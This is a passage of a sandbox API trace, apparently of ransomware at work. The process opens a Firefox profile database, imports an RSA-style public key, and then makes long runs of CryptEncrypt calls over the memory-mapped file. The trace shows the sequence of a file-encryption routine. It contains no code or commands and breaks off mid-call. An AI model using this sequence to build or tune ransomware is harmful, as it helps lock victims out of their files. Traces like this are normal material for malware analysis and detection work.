returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite" [0161.507] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0161.507] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\webappsstore.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.508] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=98304) returned 1 [0161.508] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x17adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.508] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0161.520] GetTickCount () returned 0x11681e9 [0161.520] GetTickCount () returned 0x11681e9 [0161.520] GetTickCount () returned 0x11681e9 [0161.520] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.521] GetTickCount () returned 0x11681e9 [0161.522] GetTickCount () returned 0x11681e9 [0161.522] GetTickCount () returned 0x11681e9 [0161.522] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668708) returned 1 [0161.522] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0161.522] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.522] CryptDestroyKey (hKey=0x1639b28) returned 1 [0161.522] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0161.522] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18000, lpName=0x0) returned 0x3c0 [0161.523] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18000) returned 0x14a0000 [0161.526] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668ac0) returned 1 [0161.526] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639868) returned 1 [0161.526] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.528] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.529] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 